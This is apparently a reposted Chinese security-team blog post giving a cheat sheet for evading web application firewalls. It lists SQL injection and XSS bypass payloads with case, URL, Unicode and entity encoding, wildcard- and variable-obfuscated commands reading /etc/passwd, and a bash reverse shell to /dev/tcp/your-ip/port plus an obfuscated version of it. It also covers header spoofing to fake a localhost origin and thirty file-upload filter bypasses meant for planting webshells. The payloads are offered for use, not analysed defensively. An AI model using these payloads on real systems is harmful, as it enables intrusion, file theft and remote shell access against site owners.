常规waf对抗的手法简单总结(懒)
人屑勿喷,爱看不看,觉得不爽麻烦左滑退出
Fuzz/爆破
一般配合burp或者自己写的fuzz脚本爆破/fuzz就好
一般fuzz 可能过的//%0%¥#基本就这些
http参数污染
直接上表了
可配合下面的东西打组合拳
环境 | 参数解析 | 示例 |
---|---|---|
ASP/IIS | 用逗号连接 | par1=val1,val2 |
JSP, Servlet/Apache Tomcat | 第一个参数是结果 | par1=val1 |
ASP.NET/IIS | 用逗号连接 | par1=val1,val2 |
PHP/Zeus | 最后一个参数是结果 | par1=val2 |
PHP/Apache | 最后一个参数是结果 | par1=val2 |
JSP, Servlet/Jetty | 第一个参数是结果 | par1=val1 |
IBM Lotus Domino | 第一个参数是结果 | par1=val1 |
IBM HTTP Server | 最后一个参数是结果 | par1=val2 |
mod_perl, libapeq2/Apache | 第一个参数是结果 | par1=val1 |
Oracle Application Server 10G | 第一个参数是结果 | par1=val1 |
Perl CGI/Apache | 第一个参数是结果 | par1=val1 |
Python/Zope | 第一个参数是结果 | par1=val1 |
IceWarp | 返回一个列表 | [‘val1’,’val2’] |
AXIS 2400 | 最后一个参数是结果 | par1=val2 |
DBMan | 由两个波浪号连接起来 | par1=val1~~val2 |
mod-wsgi (Python)/Apache | 返回一个列表 | ARRAY(0x8b9058c) |
正则绕过
对于sql过滤基础的and,or,union (较少)
可能匹配到的表达式 '/(and|or|union)/i'
bypass: 1 ||(select *from * where **=1)= ''**'
过滤 and or union where (较少)
可能匹配的正则: '/(and|or|union|where)/i'
bypass: 1||(select *8 from ** limit 1) = '**'
过滤 and,or ,union ,where ,limit ,group by ,select , ' ,hex,substr,where space 的(恶心玩意)
bypass: 1%0b || %0blpad(**,num1 ,num2 )
大小写:
sql:
SELECT * FROM all_Ttables WHERE OWNER = 'DATABASE_NAME'
bypass : sEleCt * FrOm all_tables WheRe OWNER = 'DATABASE_NAME'
xss:
<script>alert()</script>
bypass :<ScRipT>alert()</ScRipT>
url编码:
xss:
<script>alert()</script>
bypass: %3Cscript%3Ealert()%3C%2Fscript%3E
sql:
select *from * where **
bypass: select%20*from%20*%20where%20**
unicode编码:
xss:
<script>alert()</script>
bypass:<script>alert()</script>
html实体编码:
xss:
<script>alert()</script>
bypass: <script>alert()</script>
多重url编码
xss:
%3Cscript%3Ealert()%3C%2Fscript%3E
%253Cscript%253Ealert()%253C%252Fscript%253E
unicode混淆/分隔符
这里借用@Masato Kinugawafuzz 的一个表
IE |
0x09 |
0x0B | 0x0C |
0x3B |
|
chrome |
0x09 | 0x20 |
0x28 |
0x2B |
0x3B |
safari |
0x2C |
0x3B |
|||
firefox |
0x09 |
0x20 |
0x2C |
0x3B |
|
opera |
0x09 |
0x20 |
0x2C |
0x3B |
|
android |
0x09 |
0x20 | 0x28 |
0x2C |
0x3B |
垃圾数据/字符绕过
xss:<script>alert(1)</script>
绕过:<script !@#$%^&*()_+{}~=alert(1) /script>
sql:经典脏数据
🐶' or ‘🐶’ like ’🐶‘
以此类推
或者用大量的🐶填充也可以
在图片马上传时候也可以使用,将大量的🐶数据写到图片内从而达到绕过waf的目的
payload写入系列
针对linux的通配符写入(https://zhuanlan.zhihu.com/p/96272363,普及一下什么是通配符)
/bin/cat /etc/passwd
/???/??t /???/??ss??
反弹shell也可以这么玩(举个例子)
/bin/bash -i >& /dev/tcp/your-ip/port 0>&1
/???/b??? -i > & /???/t?p/your-ip/port 0>&1
或者再离谱一点
/bin/nc 127.0.0.1 1234
/ ? n [0-7]
如果是webshell钩子调用的话还可以跟url打组合拳,改完之后鬼都认不出来
或者加入命令行注释:<混淆也是ok
未定义变量混淆
/bin/cat /etc/passwd
/bin/cat$asd /etc/passwd$dsa
$qw/bin/cat$ads $qfs/etc/passwd$asf$qew 也是可以
然后你就可以打组合拳了
如果是直接用的话,不经过webshell钩子
/bin/cat /etc/passwd
$qwe/???/??t$qxe $asc/???/??ss??$qns
过webshell钩子的话,那么就可以url大法好了
%24qwe%2F%3F%3F%3F%2F%3F%3Ft%24qxe%20%24asc%2F%3F%3F%3F%2F%3F%3Fss%3F%3F%24qns
TAB和换行符
大部分waf现在使用的是对空格的过滤,而tab不会拦截,可以配合在sql,xss等情况下使用,针对linux终端也可以(碰运气用还是可以的,现在一般情况下tab也是加策略)
特殊的点
IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 IBM037 字符可以发送编码后的参数名和值,可以配合打组合拳,编码之后再发送
解析错误
RFC声明节点名不能为空白
但是可以使用%, //, !, ?
所以有
<// style=x:expression28write(1)29>
<!--[if]><script>alert(1)</script -->
请求头欺骗
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
这个就不多说了,一个插件的事
一些文件上传绕过的方法
(upload-liabs那期有写,就不多说了,简单汇总)
1. filename在content-type下面
2. .asp{80-90}
3. NTFS ADS
4. .asp...
5. boundary不一致
6. iis6分号截断asp.asp;asp.jpg
7. apache解析漏洞php.php.ddd
8. boundary和content-disposition中间插入换行
9. hello.php:a.jpg然后hello.<<<
10. filename=php.php
11. filename="a.txt";filename="a.php"
12. name=n"file";filename="a.php"
13. content-disposition:n
14. .htaccess文件
15. a.jpg.nphp
16. 去掉content-disposition的form-data字段
17. php<5.3 单双引号截断特性
18. 删除content-disposition: form-data;
19. content-disposition0:
20. {char}+content-disposition
21. head头的content-type: tab
22. head头的content-type: multipart/form-DATA
23. filename后缀改为大写
24. head头的Content-Type: multipart/form-data;n
25. .asp空格
26. .asp0x00.jpg截断
27. 双boundary
28. filenname="php.php"
29. head头content-type空格:
30. form-data字段与name字段交换位置
webshell 免杀(配合文件上传打组合拳)
针对php的webshell和针对jsp的webshell(后续搞一期写吧,实在是熬不动了)
原文始发于微信公众号(凛夜安全团队):常用waf对抗手法简单总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论